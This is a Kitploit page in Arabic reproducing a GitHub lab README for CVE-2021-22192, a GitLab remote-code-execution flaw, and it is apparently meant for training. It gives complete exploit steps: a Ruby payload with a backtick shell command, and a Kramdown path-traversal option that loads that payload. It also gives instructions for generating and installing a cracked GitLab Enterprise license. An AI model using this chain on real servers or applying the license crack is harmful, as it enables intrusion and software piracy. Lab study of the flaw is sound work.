Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-22192 — CVE-2021-22192 ميدان: ثغرة RCE لمستخدم غير مصرح له | Kitploit
أدوات/GitHubGitHub/exp-docs/cve-2021-22192
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 ميدان: ثغرة RCE لمستخدم غير مصرح له

عرض المستودع
384منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-22192

CVE-2021-22192 ميدان تدريب: ثغرة RCE للمستخدمين غير المصرح لهم


0x10 بيئة الميدان

0x20 هيكل الدليل

root@kitploit:~
CVE-2021-22192
├── README.md ............... [شرح ملف README هذا]
├── imgs .................... [صور مساعدة لشرح README]
├── gitlab .................. [دليل التثبيت لحاوية Gitlab]
│   ├── Dockerfile .......... [ملف بناء Docker لـ Gitlab]
│   ├── config .............. [دليل تثبيت تكوين Gitlab]
│   ├── data ................ [دليل تثبيت بيانات Gitlab]
│   ├── logs ................ [دليل تثبيت سجلات Gitlab]
│   ├── keys ................ [دليل تخزين ترخيص كسر Gitlab]
│   └── nginx ............... [دليل تكوين nginx المدمج لـ Gitlab (تكوين احتياطي، لا تعدل)]
├── runner .................. [دليل تثبيت حاوية Gitlab]
├── license ................. [دليل بناء حاوية كسر الترخيص]
│   ├── Dockerfile .......... [ملف بناء Docker للترخيص]
│   └── license.rb .......... [نص Ruby لتوليد ترخيص مكسور]
├── test .................... [دليل تصحيح Kramdown]
├── docker-compose.yml ...... [تكوين بناء Docker]
├── keygen.ps1 .............. [Windows: توليد ترخيص مكسور بنقرة واحدة]
├── keygen.sh ............... [Linux: توليد ترخيص مكسور بنقرة واحدة]
├── run.ps1 ................. [Windows: تشغيل ميدان Gitlab بنقرة واحدة]
├── run.sh .................. [Linux: تشغيل ميدان Gitlab بنقرة واحدة]
├── register.ps1 ............ [Windows: تسجيل Runner بنقرة واحدة]
├── register.sh ............. [Linux: تسجيل Runner بنقرة واحدة]
├── stop.ps1 ................ [Windows: إيقاف ميدان Gitlab بنقرة واحدة]
└── stop.sh ................. [Linux: إيقاف ميدان Gitlab بنقرة واحدة]

0x30 بناء الميدان

0x31 البناء

  • يجب تثبيت docker و docker-compose على المضيف مسبقًا
  • قم بتنزيل هذا المستودع: git clone https://github.com/lyy289065406/CVE-2021-22192
  • قم بتوليد زوج مفاتيح الكسر: ./keygen.sh أو ./keygen.ps1
  • قم ببناء وتشغيل Gitlab (تأكد من أن المنفذ 80 غير مشغول): ./run.sh أو ./run.ps1
  • بعد حوالي 5 دقائق، يمكنك تسجيل الدخول إلى Gitlab من المتصفح: http://127.0.0.1 (أول تسجيل دخول يتطلب إعادة تعيين كلمة مرور حساب المسؤول root)

0x32 الكسر

عند توليد زوج مفاتيح الكسر سابقًا، تمت كتابة المفتاح العمومي في خلفية حاوية Gitlab، والآن تحتاج إلى تحميل المفتاح الخاص عبر الواجهة الأمامية إلى Gitlab لإكمال الكسر:

  • يتم توليد زوج المفاتيح في دليل ./gitlab/keys/، انسخ محتوى .gitlab-license (المفتاح الخاص)
  • استخدم مستخدم root لفتح صفحة http://127.0.0.1/admin/license/new
  • اختر Enter license key والصق المفتاح الخاص، ثم انقر على زر Upload license لإكمال الكسر

0x33 إعداد Runner

  • استخدم مستخدم root لفتح صفحة http://127.0.0.1/admin/runners
  • ابحث عن رمز التسجيل وانسخه
  • سجل Runner: ./register.sh $TOKEN أو ./register.ps1 $TOKEN

الآن يمكن لجميع المستودعات استخدام هذا Runner لتنفيذ نصوص CI (وظائف الأنابيب)

0x34 الوصول إلى Gitlab Pages

افترض أن اسم المستخدم في Gitlab هو ${username} واسم المستودع هو ${repository_name}، عندما يتم بناء SSG بنجاح باستخدام jekyll في المستودع،只需要访问 الرابط التالي:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 التحقق من الميدان

للاطلاع على العملية المحددة، راجع hackerone.

  1. استخدم أي مستخدم وانقر على + -> New snippet في الأعلى
  2. يمكن ملء Title بشكل عشوائي، وانقر على حقل الإدخال Description (optional)، ثم انقر على Attach a file، وارفع ملفًا باسم payload.rb بمحتوى التالي:
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

في هذا الوقت، سيظهر رابط الملف في Description (optional)، على سبيل المثال: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)، وفي نفس الوقت تم رفع الملف إلى حاوية docker_gitlab في المسار /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (أما بالنسبة لـ Create snippet، فيمكن النقر أو لا، فقط تذكر هاش مسار الملف)

ملاحظة: لا تنشئ snippet عبر Snippet -> New snippet في الشريط الجانبي الأيسر لأحد المستودعات، وإلا سيصبح مسار الملف المعروض [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)، وفي الواقع سيتم رفعه إلى حاوية docker_gitlab في مسار /var/opt/gitlab/gitlab-rails/uploads/@hash/سلسلةعشوائية/payload.rb، وبسبب وجود سلسلة عشوائية في المنتصف، يصعب استغلاله.

  1. انقر على + New Project في الأعلى، وسمِّه بشكل عشوائي (مثل poc، أو لا تنشئ، يمكن استخدام مستودع موجود أيضًا)
  2. انقر على Wiki في اليسار، ثم انقر على Create your first page
  3. املأ Title و Content بشكل عشوائي، ثم انقر على Create page
  4. في هذا الوقت، سينشئ Gitlab مستودع wiki للمستودع الحالي poc، باسم poc.wiki (انقر على Clone repository في الزاوية اليمنى العليا، يمكنك العثور على أمر الاستنساخ: git clone http://127.0.0.1/root/poc.wiki.git).
  5. في الطرفية المحلية، نفذ الأمر git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki لتنزيل مستودع wiki محليًا
  6. أضف ملفًا باسم page1.rmd في الدليل الجذر لمستودع wiki، بمحتوى التالي (لاحظ استبدال هاش المسار بالهاش الذي حصلت عليه سابقًا):
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. نفذ الأمر لإرسال الملف إلى Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. عد إلى صفحة Gitlab Wiki السابقة، وقم بالتحديث، وسترى صفحة page1 التي أنشأتها محليًا في شريط الفهرس الأيمن، انقر عليها
  3. بعد انتظار ظهور المحتوى على الصفحة، قم بتسجيل الدخول إلى حاوية docker_gitlab، وستجد أن الملف /tmp/exp قد تم إنشاؤه

بعد النقر على صفحة page1.rmd، يمكنك في الواقع رؤية رسالة الخطأ في gitlab/logs/gitlab-rails/exceptions_json.log، لكن هذا لا يؤثر على تنفيذ الأمر:

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
تنزيل الأداة